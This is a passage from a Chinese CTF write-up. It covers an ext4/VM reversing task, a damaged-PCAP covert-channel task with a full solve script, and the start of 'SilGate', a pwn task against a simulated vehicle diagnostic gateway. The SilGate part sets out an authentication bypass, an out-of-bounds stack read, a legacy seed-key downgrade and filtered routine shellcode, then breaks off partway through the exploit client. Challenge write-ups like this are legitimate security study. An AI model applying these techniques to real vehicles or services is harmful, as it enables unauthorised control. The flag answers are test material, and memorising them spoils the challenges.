  • VM 字节码在 .rodata+0x200,长度 0x1c0。LCG 初态为 LE32(digest[:4]) ^ 0x5a5a5a5a5a5a5a5a;每轮 state = state * 0x5851f42d4c957f2d + 0x14057b7ef767814f (mod 2^64),取最高字节异或解码。
  • .text+0x10 是栈 VM:每条指令的 opcode 再异或滚动掩码,初值 0xa5,每条指令后更新为 (mask * 0x6d + 0x3b) & 0xff。支持压栈、读写内存、32 位运算和分支等操作。
  • .text+0x116d 起把密钥放进 64 字节工作区的 [0:16],将每个 8 字节密文块放在 [16:24],运行 VM 后取出该区间明文。

solve.py 只使用 Python 标准库,直接按 ext4 超级块、组描述符、inode 和 extent 读取镜像;不依赖前面提取的文件。运行:

python solve.py shadowread.img

完整脚本:

#!/usr/bin/env python3
from pathlib import Path
import hashlib
import mmap
import struct
import sys

image_path=Path(sys.argv[1]) if len(sys.argv)>1 else Path(__file__).with_name('shadowread.img')
u16=lambda b,o:struct.unpack_from('<H',b,o)[0]
u32=lambda b,o:struct.unpack_from('<I',b,o)[0]
with image_path.open('rb') as f, mmap.mmap(f.fileno(),0,access=mmap.ACCESS_READ) as image:
    digest_image=hashlib.sha256(image).hexdigest()
    assert digest_image=='d453a6a53ec2cea796d941fc767e6a01f834a9c6bf2eac5bd3492ee2a03779c3', 'Unexpected image'
    sb=image[1024:2048]
    assert u16(sb,56)==0xef53
    blocksize=1024<<u32(sb,24)
    inodes_per_group=u32(sb,40)
    inode_size=u16(sb,88)
    descriptor_size=u16(sb,254)
    gdt_offset=(u32(sb,20)+1)*blocksize

    def recover(ino):
        group,index=divmod(ino-1,inodes_per_group)
        gd=image[gdt_offset+group*descriptor_size:gdt_offset+(group+1)*descriptor_size]
        table=u32(gd,8)+(u32(gd,40)<<32)
        offset=table*blocksize+index*inode_size
        inode=image[offset:offset+inode_size]
        size=u32(inode,4)+(u32(inode,108)<<32)
        assert u16(inode,40)==0xf30a and u16(inode,46)==0, 'Expected leaf extents'
        out=bytearray(size)
        for i in range(u16(inode,42)):
            logical,length,high,low=struct.unpack_from('<IHHI',inode,52+12*i)
            assert length<=32768, 'Uninitialized extent'
            start=((high<<32)+low)*blocksize
            dest=logical*blocksize
            count=min(length*blocksize,size-dest)
            out[dest:dest+count]=image[start:start+count]
        return bytes(out)

    module=recover(25)
    cached={i:recover(i) for i in range(27,40)}
    decoy=recover(26)

shoff=struct.unpack_from('<Q',module,40)[0]
shsize,shnum,shstr=struct.unpack_from('<HHH',module,58)
headers=[struct.unpack_from('<IIQQQQIIQQ',module,shoff+i*shsize) for i in range(shnum)]
names_section=headers[shstr]
strings=module[names_section[4]:names_section[4]+names_section[5]]
sections={strings[h[0]:].split(b'\0',1)[0].decode():module[h[4]:h[4]+h[5]] for h in headers}
r=sections['.rodata']
key_inode={0:37,1:38,2:32,3:39}[cached[30][0]&3]
material=b''.join(cached[i][:4] for i in (29,30,31,key_inode))
print('Image SHA256:',digest_image,flush=True)
print('Key fragments:',material.hex(),flush=True)
d=material
for _ in range(1<<25):
    d=hashlib.sha256(d).digest()
assert d[16:]==bytes(b^0xa6 for b in r[0x3c0:0x3d0]), 'Key verification failed'
print('Derived digest:',d.hex(),flush=True)

state=int.from_bytes(d[:4],'little')^0x5a5a5a5a5a5a5a5a
code=bytearray()
for c in r[0x200:0x3c0]:
    state=(state*0x5851f42d4c957f2d+0x14057b7ef767814f)&((1<<64)-1)
    code.append(c^(state>>56))
names={1:'PUSH32',2:'PUSH8',3:'DROP',4:'DUP',5:'SWAP',6:'OVER',7:'LOAD8',8:'LOAD32',9:'STORE8',10:'STORE32',11:'ADD',12:'SUB',13:'XOR',14:'AND',15:'OR',16:'SHL',17:'SHR',18:'ROR',19:'MUL',21:'JMP',22:'JZ',23:'JNZ',24:'LOOP',25:'SETCNT',26:'RET',27:'GETCNT'}
def vm(data,trace=False):
    m=bytearray(d[:16]+data+bytes(64-16-len(data)))
    stack=[]; pc=0; mask=0xa5; count=0
    for step in range(200000):
        off=pc; op=code[pc]^mask; pc+=1
        if trace: print(f'{step:04d} {off:03x} {mask:02x} {names.get(op,hex(op)):8} stack={stack} count={count}')
        if op in (1,2):
            n=4 if op==1 else 1
            stack.append(int.from_bytes(code[pc:pc+n],'little')); pc+=n
        elif op==3: stack.pop()
        elif op==4: stack.append(stack[-1])
        elif op==5: stack[-2:]=stack[-2:][::-1]
        elif op==6: stack.append(stack[-2])
        elif op in (7,8):
            off=stack.pop()&63; n=1 if op==7 else 4
            stack.append(int.from_bytes(m[off:off+n],'little'))
        elif op in (9,10):
            val=stack.pop(); off=stack.pop()&63; n=1 if op==9 else 4
            m[off:off+n]=(val&((1<<(8*n))-1)).to_bytes(n,'little')
        elif 11<=op<=19:
            b=stack.pop(); a=stack.pop()
            v={11:lambda:a+b,12:lambda:a-b,13:lambda:a^b,14:lambda:a&b,15:lambda:a|b,16:lambda:a<<(b&31),17:lambda:a>>(b&31),18:lambda:(a>>(b&31))|(a<<((-b)&31)),19:lambda:a*b}[op]()
            stack.append(v&0xffffffff)
        elif 21<=op<=24:
            rel=int.from_bytes(code[pc:pc+1],'little',signed=True); pc+=1
            take=True
            if op==22: take=stack.pop()==0
            if op==23: take=stack.pop()!=0
            if op==24: count=(count-1)&255; take=count!=0
            if take: pc+=rel
        elif op==25: count=code[pc]; pc+=1
        elif op==26: return bytes(m[16:16+len(data)])
        elif op==27: stack.append(count)
        else: raise ValueError((step,hex(off),hex(op),hex(mask)))
        mask=(mask*0x6d+0x3b)&255
    raise ValueError('step limit')

for inode,label in ((27,'DRAFT .real_cache.bak'),(28,'FINAL .real_cache')):
    data=cached[inode]
    plain=b''.join(vm(data[i:i+8]) for i in range(0,len(data),8)).rstrip(b'\0')
    print(label+':',plain.decode('ascii'))

k=r[0x100:0x114]
ror8=lambda x,n:((x>>(n%8))|(x<<((-n)%8)))&255
fake=bytes(ror8((c-k[(i*7+3)%20])&255,i)^k[i%20] for i,c in enumerate(decoy))
print('DECOY flag.txt:',fake.rstrip(b'\0').decode('ascii'))

验证输出:

DRAFT .real_cache.bak: flag{f1r57_c4ch3_15_4_dr4ft}
FINAL .real_cache: flag{n0_m0d3l_r34d5_7h15_d33p}
DECOY flag.txt: flag{r34d_h00k_d3crypt5_3v3ryth1ng}

镜像中直接搜索明文 flag 格式无匹配;以上三项来自各自确定的数据源及解密分支。正稿与草稿通过路径区分,密钥通过模块校验区分。全部操作只读原始镜像,衍生文件保存在 analysis/。结果已在本地复现,未向比赛平台提交。

Flag

flag{n0_m0d3l_r34d5_7h15_d33p}

12. deep-channel

PCAP 修复

文件开头仍保留了经典 PCAP 的结构,但全局头有两处破坏:小端微秒格式的 magic 应为 d4 c3 b2 a1,附件却是 d4 c3 b2 a9;链路层类型也从 Ethernet 的 1 改成了 0x1337。

继续顺序解析时,有 6 个数据包记录的 incl_len/orig_len 被修改。每个包的 Ethernet 头仍然完整,因此可以从 IPv4 的 total_length、IPv6 的 payload_length 或 ARP 头重新计算真实帧长,并以真实帧长定位下一条记录。修复后得到 4561 个完整帧。

ICMP 的 KV 通道

DNS TXT、HTTP 响应头和正文中散落着编号说明。有效规则为:

  • ICMP Echo 数据格式是 KV | seq:u8 | len:u8 | checksum:u8 | data。
  • 密钥链为 K0=0xA5,K(n+1)=(K(n)*31+7)&0xff。
  • 第 seq 块的第 i 字节使用 data[i] ^ ((K_seq+i)&0xff) 解密。
  • 校验值是明文字节和模 256;同一序号只取首个校验正确的块。

校验能够自然排除伪通道和错误副本。按序号 0 到 31 拼接后得到 251 字节 v3 固件。

v3 虚拟机

v3 指令采用 MSB 优先的位流编码,不做字节对齐:操作码 5 位、寄存器 4 位、立即数 8 位、地址 16 位。程序计数器和跳转地址均按位寻址,数据地址按字节寻址。代码与数据共用 256 字节可写内存,因此固件会先改写后续代码,再执行改写后的区域。

操作码含义可以由抓包中的 RUN 测试请求与返回值逐项确定。实现完整指令集后,以 rev.B 语义执行固件,输出:

flag{tw0_c4t
PX rev.C k=9f3cb712aa55d04e

第一行是 flag 前半段,第二行给出下一通道和 8 字节原始密钥。

PX 与 rev.C

ICMP 中的 PX 块格式是 PX | seq:u16be | len:u8 | checksum:u8 | data,校验值为密文字节和模 256。有效块按序号拼接后,用原始 8 字节密钥循环异或;密钥流跨块连续,不在块边界重置。由此得到 42 字节 rev.C 程序。

31338 端口的测试流给出了 rev.C 与 rev.B 的差异:

  • ROLI 改为右循环移位;
  • JMPR 的寄存器值乘 16 后作为位地址;
  • 空栈 POP 写入 0。

执行 rev.C 程序得到 s_0ne_tr4p},与 rev.B 的第一行直接拼接即可得到完整 flag。

抓包末尾另有 4200 个定长 UDP 包,源端口表现为 10 个完整的 400 包轮次和最后半轮。其 5,670,000 字节拼接载荷熵为 7.9999698936 bit/byte,zlib 压缩后增长;载荷无重复,跨轮比特差异率约为 0.5,常见重排、转置、跨轮异或及有限域秩检查均未出现结构。说明分片 1 同时明确其余通道属于 chaff,据此判定这批 UDP 是题目设置的 trap。

Exp

下面脚本只依赖 Python 标准库,直接读取原始损坏抓包,完成记录边界恢复、两条 ICMP 通道重组和两版虚拟机执行:

#!/usr/bin/env python3
"""Solve the challenge directly from the original, deliberately damaged PCAP."""

from __future__ import annotations

import argparse
import re
import struct
from pathlib import Path


BROKEN_MAGIC = b"\xd4\xc3\xb2\xa9"
PCAP_MAGIC = b"\xd4\xc3\xb2\xa1"


def ethernet_frame_length(data: bytes, start: int) -> int | None:
    """Recover a record length from the Ethernet payload's own length fields."""
    if start + 14 > len(data):
        return None
    l2_length = 14
    ether_type = struct.unpack_from(">H", data, start + 12)[0]
    while ether_type in (0x8100, 0x88A8, 0x9100):
        if start + l2_length + 4 > len(data):
            return None
        ether_type = struct.unpack_from(">H", data, start + l2_length + 2)[0]
        l2_length += 4

    payload = start + l2_length
    if ether_type == 0x0800 and payload + 4 <= len(data):
        version_ihl = data[payload]
        total_length = struct.unpack_from(">H", data, payload + 2)[0]
        if version_ihl >> 4 == 4 and total_length >= (version_ihl & 0x0F) * 4:
            return l2_length + total_length
    if ether_type == 0x86DD and payload + 6 <= len(data):
        if data[payload] >> 4 == 6:
            return l2_length + 40 + struct.unpack_from(">H", data, payload + 4)[0]
    if ether_type == 0x0806 and payload + 8 <= len(data):
        hardware_length = data[payload + 4]
        protocol_length = data[payload + 5]
        return l2_length + 8 + 2 * hardware_length + 2 * protocol_length
    return None


def recover_frames(path: Path) -> tuple[list[bytes], int]:
    """Parse all complete records while correcting the forged PCAP metadata."""
    data = path.read_bytes()
    if len(data) < 24 or data[:4] not in (BROKEN_MAGIC, PCAP_MAGIC):
        raise ValueError("unsupported PCAP header")

    # The file is a little-endian classic PCAP.  Its magic's final byte and
    # LINKTYPE are forged; record boundaries are recovered from Ethernet/IP.
    offset = 24
    frames: list[bytes] = []
    corrections = 0
    while offset + 16 <= len(data):
        _, fraction, captured_length, original_length = struct.unpack_from(
            "<IIII", data, offset
        )
        if fraction >= 1_000_000:
            raise ValueError(f"invalid timestamp at file offset {offset:#x}")
        start = offset + 16
        encoded_length = ethernet_frame_length(data, start)
        if encoded_length is not None and (
            captured_length != encoded_length or original_length != encoded_length
        ):
            captured_length = encoded_length
            corrections += 1
        end = start + captured_length
        if end > len(data):
            break
        frames.append(data[start:end])
        offset = end
    return frames, corrections


def icmp_echo_payloads(frames: list[bytes]):
    for number, frame in enumerate(frames, 1):
        if len(frame) < 42 or frame[12:14] != b"\x08\x00":
            continue
        ip = frame[14:]
        if ip[0] >> 4 != 4:
            continue
        ihl = (ip[0] & 0x0F) * 4
        total_length = struct.unpack_from(">H", ip, 2)[0]
        if ihl < 20 or total_length < ihl + 8 or len(ip) < total_length or ip[9] != 1:
            continue
        icmp = ip[ihl:total_length]
        if icmp[0] == 8:  # Echo request
            yield number, icmp[8:]


def kv_key(sequence: int) -> int:
    key = 0xA5
    for _ in range(sequence):
        key = (key * 31 + 7) & 0xFF
    return key


def recover_kv(payloads: list[tuple[int, bytes]]) -> bytes:
    selected: dict[int, bytes] = {}
    for _, raw in payloads:
        if len(raw) < 5 or raw[:2] != b"KV":
            continue
        sequence, length, checksum = raw[2:5]
        cipher = raw[5:]
        if len(cipher) != length:
            continue
        start_key = kv_key(sequence)
        plain = bytes(
            value ^ ((start_key + index) & 0xFF)
            for index, value in enumerate(cipher)
        )
        if (sum(plain) & 0xFF) == checksum and sequence not in selected:
            selected[sequence] = plain
    if not selected or sorted(selected) != list(range(max(selected) + 1)):
        raise ValueError(f"incomplete KV channel: {sorted(selected)}")
    return b"".join(selected[i] for i in range(max(selected) + 1))


# Opcode operands are bit-packed MSB-first without byte alignment.
OPS = {
    1: ("STOREC", ("reg", "reg")),
    3: ("ADDI", ("reg", "imm")),
    6: ("ADDR", ("reg", "reg")),
    7: ("LOADI", ("reg", "imm")),
    8: ("JMPR", ("reg",)),
    9: ("MOVR", ("reg", "reg")),
    10: ("JMP", ("addr",)),
    11: ("XORI", ("reg", "imm")),
    13: ("PUSH", ("reg",)),
    14: ("ANDI", ("reg", "imm")),
    16: ("JZ", ("reg", "addr")),
    17: ("XORR", ("reg", "reg")),
    18: ("EMIT", ("reg",)),
    20: ("LOADC", ("reg", "reg")),
    21: ("SUBI", ("reg", "imm")),
    22: ("POP", ("reg",)),
    24: ("ROLI", ("reg", "imm")),
    28: ("JNZ", ("reg", "addr")),
    31: ("HALT", ()),
}


def read_bits(memory: bytes | bytearray, bit_address: int, width: int) -> int:
    if bit_address < 0 or bit_address + width > len(memory) * 8:
        raise ValueError(f"VM read outside memory at bit {bit_address}")
    value = 0
    for position in range(bit_address, bit_address + width):
        value = (value << 1) | (
            (memory[position // 8] >> (7 - position % 8)) & 1
        )
    return value


def decode(memory: bytes | bytearray, pc: int):
    opcode = read_bits(memory, pc, 5)
    pc += 5
    if opcode not in OPS:
        raise ValueError(f"unknown opcode {opcode} at bit {pc - 5}")
    name, specification = OPS[opcode]
    arguments = []
    for kind in specification:
        width = {"reg": 4, "imm": 8, "addr": 16}[kind]
        arguments.append(read_bits(memory, pc, width))
        pc += width
    return name, arguments, pc


def emulate(code: bytes, revision: str) -> bytes:
    if len(code) > 256:
        raise ValueError("program does not fit VM memory")
    memory = bytearray(256)
    memory[: len(code)] = code
    registers = [0] * 16
    stack: list[int] = []
    output = bytearray()
    pc = 0

    for _ in range(100_000):
        name, args, next_pc = decode(memory, pc)
        pc = next_pc
        if name == "HALT":
            return bytes(output)
        if name == "LOADI":
            registers[args[0]] = args[1]
        elif name == "MOVR":
            registers[args[0]] = registers[args[1]]
        elif name == "LOADC":
            registers[args[0]] = memory[registers[args[1]]]
        elif name == "STOREC":
            registers_address, source = args
            memory[registers[registers_address]] = registers[source]
        elif name == "PUSH":
            if len(stack) >= 256:
                raise ValueError("VM stack overflow")
            stack.append(registers[args[0]])
        elif name == "POP":
            if stack:
                registers[args[0]] = stack.pop()
            elif revision == "C":
                registers[args[0]] = 0
            else:
                raise ValueError("VM stack underflow")
        elif name == "EMIT":
            output.append(registers[args[0]])
        elif name == "ADDI":
            registers[args[0]] = (registers[args[0]] + args[1]) & 0xFF
        elif name == "SUBI":
            registers[args[0]] = (registers[args[0]] - args[1]) & 0xFF
        elif name == "XORI":
            registers[args[0]] ^= args[1]
        elif name == "ANDI":
            registers[args[0]] &= args[1]
        elif name == "ROLI":
            amount = args[1] & 7
            value = registers[args[0]]
            if revision == "C":  # rev.C changed ROLI into RORI
                value = (value >> amount) | (value << ((8 - amount) & 7))
            else:
                value = (value << amount) | (value >> ((8 - amount) & 7))
            registers[args[0]] = value & 0xFF
        elif name == "XORR":
            registers[args[0]] ^= registers[args[1]]
        elif name == "ADDR":
            registers[args[0]] = (
                registers[args[0]] + registers[args[1]]
            ) & 0xFF
        elif name == "JMP":
            pc = args[0]
        elif name == "JNZ":
            if registers[args[0]] != 0:
                pc = args[1]
        elif name == "JZ":
            if registers[args[0]] == 0:
                pc = args[1]
        elif name == "JMPR":
            pc = registers[args[0]] * (16 if revision == "C" else 8)
        else:
            raise AssertionError(name)
    raise ValueError("VM step limit exceeded")


def recover_px(payloads: list[tuple[int, bytes]], key: bytes) -> bytes:
    selected: dict[int, bytes] = {}
    for _, raw in payloads:
        if len(raw) < 6 or raw[:2] != b"PX":
            continue
        sequence = int.from_bytes(raw[2:4], "big")
        length, checksum = raw[4:6]
        cipher = raw[6:]
        if (
            len(cipher) == length
            and (sum(cipher) & 0xFF) == checksum
            and sequence not in selected
        ):
            selected[sequence] = cipher
    if not selected or sorted(selected) != list(range(max(selected) + 1)):
        raise ValueError(f"incomplete PX channel: {sorted(selected)}")
    cipher = b"".join(selected[i] for i in range(max(selected) + 1))
    # The key stream is continuous across PX chunks; it does not reset at a
    # chunk boundary.
    return bytes(value ^ key[i % len(key)] for i, value in enumerate(cipher))


def solve(path: Path) -> str:
    frames, corrections = recover_frames(path)
    payloads = list(icmp_echo_payloads(frames))

    firmware_b = recover_kv(payloads)
    output_b = emulate(firmware_b, "B")
    key_match = re.search(rb"PX rev\.C k=([0-9a-fA-F]{16})", output_b)
    fragment_match = re.search(rb"flag\{[^\r\n]*", output_b)
    if key_match is None or fragment_match is None:
        raise ValueError(f"unexpected rev.B output: {output_b!r}")

    key = bytes.fromhex(key_match.group(1).decode("ascii"))
    firmware_c = recover_px(payloads, key)
    output_c = emulate(firmware_c, "C")
    flag = (fragment_match.group(0) + output_c).decode("ascii")
    if re.fullmatch(r"flag\{[^{}]+\}", flag) is None:
        raise ValueError(f"invalid reconstructed flag: {flag!r}")

    print(f"frames={len(frames)} corrected_record_lengths={corrections}")
    print(f"rev.B={output_b.decode('ascii')!r}")
    print(f"rev.C={output_c.decode('ascii')!r}")
    print(flag)
    return flag


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("pcap", type=Path, nargs="?", default=Path("capture.pcap"))
    args = parser.parse_args()
    solve(args.pcap)


if __name__ == "__main__":
    main()

Flag

flag{tw0_c4ts_0ne_tr4p}


Pwn

13. SilGate

题目结构

服务端是 x86-64 Linux vECU。网络层依次为 TLS、DoIP、ISO-TP 和 UDS。每条 TCP
连接拥有独立的诊断会话、SecurityAccess 状态和 0x2000 字节刷写窗口。公开协议要求
DoIP version 3,programming session 需要 production Routing Activation 和安全位
0x10,刷写例程还要完成 RID 0x0203 握手。

Vehicle Identification 返回的软件版本为:

SEC-GATE v2.3.1 (legacy-compat build)

这个字符串说明服务端仍保留旧版兼容逻辑。

production activation 绕过

type 1 的 OEM 凭据校验等价于:

memcmp(input, "SILG1", oem_len)

oem_len 完全由请求控制。令长度为 0 时,memcmp 返回 0,服务端同时设置
production activation 与 routing active 标志,Routing Activation 响应结果为
0x10。

越界读与程序恢复

SID 0x23 的 4 字节地址被说明为相对偏移。实现把该 32 位值转换成有符号整数,再
加到 UDS handler 的栈缓冲区上:

source = &stack_buffer[(int32_t)relative_offset];

负偏移可以读取 handler 栈帧。读取 offset -0x800 得到 heap、libc 和 PIE 指针,
其中函数指针定位出 PIE 基址 0x5562c5d9f000。随后按照 ELF 程序头的范围恢复了
完整映像。

最终 Exp 无需依赖固定 PIE 基址。栈缓冲区位于 rsp+0x230,offset -0x230
正好泄露当前连接的 state 指针;state+0x54b0 保存本连接 0x2000 字节刷写窗口
指针。窗口由 MAP_32BIT 动态映射,其低 32 位也是 UDS RequestDownload 和
RequestUpload 使用的逻辑地址。

DoIP v2 legacy 通道

DoIP 报头校验同时允许 version 2 和 version 3。version 2 的 diagnostic payload
跳过 ISO-TP,源地址和目标地址后直接放 legacy PDU:

src_be16 || 0x0e80 || legacy_pdu

隐藏服务包括 27 01、27 02、3e 和 81。27 01 返回 16 位 seed;key
算法为:

def legacy_key(seed):
    x = seed
    x ^= (x << 7) & 0xffff
    x ^= x >> 9
    x ^= (x << 8) & 0xffff
    return ((0x9e37 * x) ^ 0x5a5a ^ 0x4b37) & 0xffff

发送 27 02 || key_be16 后,legacy 分支设置普通 UDS 使用的安全位 0x10,可以
直接进入 programming session。公开的 27 11/12 使用每进程随机 32 字节密钥做
HMAC-SHA256(seed)[:4],legacy 降级路径避开了这份不可预测密钥。

master flag 封装

legacy 解锁成功后,服务端从受保护的 master page 恢复最多 160 字节明文。它为
当前连接生成非零随机 S0,使用 xorshift64 逐 qword 加密明文,并把密文写到刷写
窗口第二页 B+0x1000:

def xs64(s):
    s ^= (s << 13) & 0xffffffffffffffff
    s ^= s >> 7
    s ^= (s << 17) & 0xffffffffffffffff
    return s & 0xffffffffffffffff

例程线程从 B+0x10 开始执行,并把 S0 放入 RDI。自定义例程可以复现同一
xorshift64 流,在第二页原地解密 0xa0 字节。

RID 0203 与 RTN0

RID seed 是 3 字节大端整数。key 算法为:

v = int.from_bytes(seed, "big")
lo = v & 0xffff
lo = ((lo >> 3) | (lo << 13)) & 0xffff
key = (((lo * 0x343fd) + 0x269ec3) ^ v) & 0xffffffff

RTN0 头使用 CRC16-CCITT。服务端执行前会盲扫 payload 字节,拒绝 cc、f4、
cd 80、0f 05 和 0f 34。最终 197 字节例程不包含这些序列。

看门狗与可靠外带

看门狗每 20ms 检查 B+0x1ff8 的 16 位 magic。初始 magic 由 connection id
经过一次多项式为 0xd008 的 Galois LFSR 得到。RTN0 的 flags 字段不会被服务端
校验,因此 Exp 把首个 magic 以本机字节序放进该字段,例程从 B+6 读取。

例程先观察 B+0x1ffa 两次变化,用 RDTSC 测量实际 tick 周期,然后在两个检查点
之间持续写入下一 LFSR magic。这样不依赖网络 RTT 和固定 CPU 频率。

RequestUpload 会先把刷写窗口设为 PROT_NONE。例程线程触发既有 SIGSEGV handler,
通过 siglongjmp 安全退出;服务端 join 线程后把窗口恢复成 RW,已经解密的第二页
保持不变。随后上传 B+0x1000 即可取回 flag。

Exp

协议客户端模块:

#!/usr/bin/env python3
"""Minimal DoIP/ISO-TP/UDS client for the SilGate challenge.

The module uses only the Python standard library.  It deliberately keeps the
transport strict: packet lengths are bounded, DoIP addresses are checked, and
ISO-TP flow-control timing is honoured.
"""

from __future__ import annotations

import socket
import ssl
import struct
import time
from collections import deque
from dataclasses import dataclass
from typing import Deque, Optional


DOIP_VERSION = 0x03
PT_VEHICLE_IDENT_REQUEST = 0x0001
PT_VEHICLE_ANNOUNCEMENT = 0x0004
PT_ROUTING_ACTIVATION_REQUEST = 0x0005
PT_ROUTING_ACTIVATION_RESPONSE = 0x0006
PT_DIAGNOSTIC = 0x8001
PT_DIAGNOSTIC_ACK = 0x8002
PT_DIAGNOSTIC_NACK = 0x8003

ECU_ADDRESS = 0x0E80
DEFAULT_TESTER_ADDRESS = 0x0E00
MAX_DOIP_PAYLOAD = 16 * 1024 * 1024


class SilGateError(RuntimeError):
    pass


class ProtocolError(SilGateError):
    pass


class NegativeResponse(SilGateError):
    def __init__(self, request_sid: int, nrc: int, response: bytes):
        super().__init__(
            f"UDS negative response: SID=0x{request_sid:02x}, NRC=0x{nrc:02x}"
        )
        self.request_sid = request_sid
        self.nrc = nrc
        self.response = response


@dataclass(frozen=True)
class DoIPPacket:
    payload_type: int
    payload: bytes


@dataclass(frozen=True)
class VehicleAnnouncement:
    vin: str
    logical_address: int
    software_version: str
    oem_reserved: bytes
    raw: bytes


@dataclass(frozen=True)
class RoutingActivationResponse:
    tester_address: int
    ecu_address: int
    result_code: int
    trailing: bytes


def parse_vehicle_announcement(payload: bytes) -> VehicleAnnouncement:
    if len(payload) != 73:
        raise ProtocolError(
            f"vehicle announcement must be 73 bytes, received {len(payload)}"
        )
    version_len = payload[19]
    version_end = 20 + version_len
    if version_end > 57:
        raise ProtocolError("software version overlaps the OEM-reserved field")
    return VehicleAnnouncement(
        vin=payload[:17].decode("ascii", errors="replace"),
        logical_address=int.from_bytes(payload[17:19], "big"),
        software_version=payload[20:version_end].decode("ascii", errors="replace"),
        oem_reserved=payload[57:73],
        raw=payload,
    )


def parse_stmin(value: int) -> float:
    if 0x00 <= value <= 0x7F:
        return value / 1000.0
    if 0xF1 <= value <= 0xF9:
        return (value - 0xF0) / 10000.0
    raise ProtocolError(f"reserved ISO-TP STmin value 0x{value:02x}")


def crc16_ccitt(data: bytes) -> int:
    crc = 0xFFFF
    for byte in data:
        crc ^= byte << 8
        for _ in range(8):
            crc = ((crc << 1) ^ 0x1021) & 0xFFFF if crc & 0x8000 else (crc << 1) & 0xFFFF
    return crc


def wrap_routine(payload: bytes, flags: int = 0) -> bytes:
    if not 0 <= flags <= 0xFFFF:
        raise ValueError("flags must fit in u16")
    header = struct.pack(
        ">4sHHII", b"RTN0", crc16_ccitt(payload), flags, 16, len(payload)
    )
    return header + payload


def legacy_key_from_seed(seed: int) -> int:
    """Derive the hidden KWP-compatible 16-bit key recovered from the vECU."""
    if not 0 <= seed <= 0xFFFF:
        raise ValueError("legacy seed must fit in u16")
    value = seed
    value ^= (value << 7) & 0xFFFF
    value ^= value >> 9
    value ^= (value << 8) & 0xFFFF
    return ((0x9E37 * value) ^ 0x5A5A ^ 0x4B37) & 0xFFFF


def routine_key_from_seed(seed: bytes) -> bytes:
    """Derive the RID 0x0203 four-byte key from its three-byte seed."""
    if len(seed) != 3:
        raise ValueError("routine seed must be exactly three bytes")
    value = int.from_bytes(seed, "big")
    low = value & 0xFFFF
    rotated = ((low >> 3) | (low << 13)) & 0xFFFF
    mixed = (0x343FD * rotated + 0x269EC3) & 0xFFFFFFFF
    return (value ^ mixed).to_bytes(4, "big")


class SilGateClient:
    def __init__(
        self,
        host: str,
        port: int,
        *,
        tls: bool = True,
        timeout: float = 3.0,
        tester_address: int = DEFAULT_TESTER_ADDRESS,
        ecu_address: int = ECU_ADDRESS,
        cafile: Optional[str] = None,
    ):
        self.host = host
        self.port = port
        self.tls = tls
        self.timeout = timeout
        self.tester_address = tester_address
        self.ecu_address = ecu_address
        self.cafile = cafile
        self.sock: Optional[socket.socket] = None
        self._queued_diag: Deque[bytes] = deque()

    def __enter__(self) -> "SilGateClient":
        self.connect()
        return self

    def __exit__(self, exc_type, exc, tb) -> None:
        self.close()

    def connect(self) -> None:
        if self.sock is not None:
            raise SilGateError("client is already connected")
        raw = socket.create_connection((self.host, self.port), timeout=self.timeout)
        raw.settimeout(self.timeout)
        if self.tls:
            if self.cafile:
                context = ssl.create_default_context(cafile=self.cafile)
                wrapped = context.wrap_socket(raw, server_hostname=self.host)
            else:
                # CTF endpoints commonly use an ephemeral/self-signed certificate.
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                wrapped = context.wrap_socket(raw, server_hostname=self.host)
            wrapped.settimeout(self.timeout)
            self.sock = wrapped
        else:
            self.sock = raw

    def close(self) -> None:
        if self.sock is not None:
            try:
                self.sock.close()
            finally:
                self.sock = None
                self._queued_diag.clear()

    def _socket(self) -> socket.socket:
        if self.sock is None:
            raise SilGateError("client is not connected")
        return self.sock

    def _recv_exact(self, size: int) -> bytes:
        chunks = bytearray()
        sock = self._socket()
        while len(chunks) < size:
            chunk = sock.recv(size - len(chunks))
            if not chunk:
                raise EOFError("peer closed the connection")
            chunks.extend(chunk)
        return bytes(chunks)

    def send_packet(
        self, payload_type: int, payload: bytes = b"", *, version: int = DOIP_VERSION
    ) -> None:
        if len(payload) > MAX_DOIP_PAYLOAD:
            raise ValueError("DoIP payload is unreasonably large")
        if version not in (0x02, DOIP_VERSION):
            raise ValueError("SilGate only accepts DoIP protocol versions 0x02/0x03")
        header = struct.pack(">BBHI", version, version ^ 0xFF, payload_type, len(payload))
        self._socket().sendall(header + payload)

    def recv_packet(self) -> DoIPPacket:
        header = self._recv_exact(8)
        version, inverse, payload_type, length = struct.unpack(">BBHI", header)
        if version not in (0x02, DOIP_VERSION) or inverse != (version ^ 0xFF):
            raise ProtocolError(
                f"invalid DoIP version pair 0x{version:02x}/0x{inverse:02x}"
            )
        if length > MAX_DOIP_PAYLOAD:
            raise ProtocolError(f"refusing oversized DoIP payload of {length} bytes")
        return DoIPPacket(payload_type, self._recv_exact(length))

    def vehicle_identification(self) -> VehicleAnnouncement:
        self.send_packet(PT_VEHICLE_IDENT_REQUEST)
        packet = self.recv_packet()
        if packet.payload_type != PT_VEHICLE_ANNOUNCEMENT:
            raise ProtocolError(
                f"expected vehicle announcement, got type 0x{packet.payload_type:04x}"
            )
        result = parse_vehicle_announcement(packet.payload)
        if result.logical_address != self.ecu_address:
            raise ProtocolError(
                f"unexpected ECU address 0x{result.logical_address:04x}"
            )
        return result

    def routing_activation(
        self,
        activation_type: int,
        credential: bytes = b"",
        *,
        declared_length: Optional[int] = None,
    ) -> RoutingActivationResponse:
        if declared_length is None:
            declared_length = len(credential)
        if not 0 <= declared_length <= 0xFF:
            raise ValueError("declared credential length must fit in u8")
        payload = struct.pack(">HBB", self.tester_address, activation_type, declared_length) + credential
        self.send_packet(PT_ROUTING_ACTIVATION_REQUEST, payload)
        packet = self.recv_packet()
        if packet.payload_type != PT_ROUTING_ACTIVATION_RESPONSE:
            raise ProtocolError(
                f"expected routing activation response, got type 0x{packet.payload_type:04x}"
            )
        if len(packet.payload) < 5:
            raise ProtocolError("short routing activation response")
        tester, ecu, result = struct.unpack(">HHB", packet.payload[:5])
        return RoutingActivationResponse(tester, ecu, result, packet.payload[5:])

    def _parse_diag_payload(self, payload: bytes) -> bytes:
        if len(payload) < 5:
            raise ProtocolError("short DoIP diagnostic payload")
        source, target = struct.unpack(">HH", payload[:4])
        if source != self.ecu_address or target != self.tester_address:
            raise ProtocolError(
                f"unexpected diagnostic route 0x{source:04x}->0x{target:04x}"
            )
        return payload[4:]

    def _recv_until_ack(self) -> None:
        while True:
            packet = self.recv_packet()
            if packet.payload_type == PT_DIAGNOSTIC_ACK:
                return
            if packet.payload_type == PT_DIAGNOSTIC_NACK:
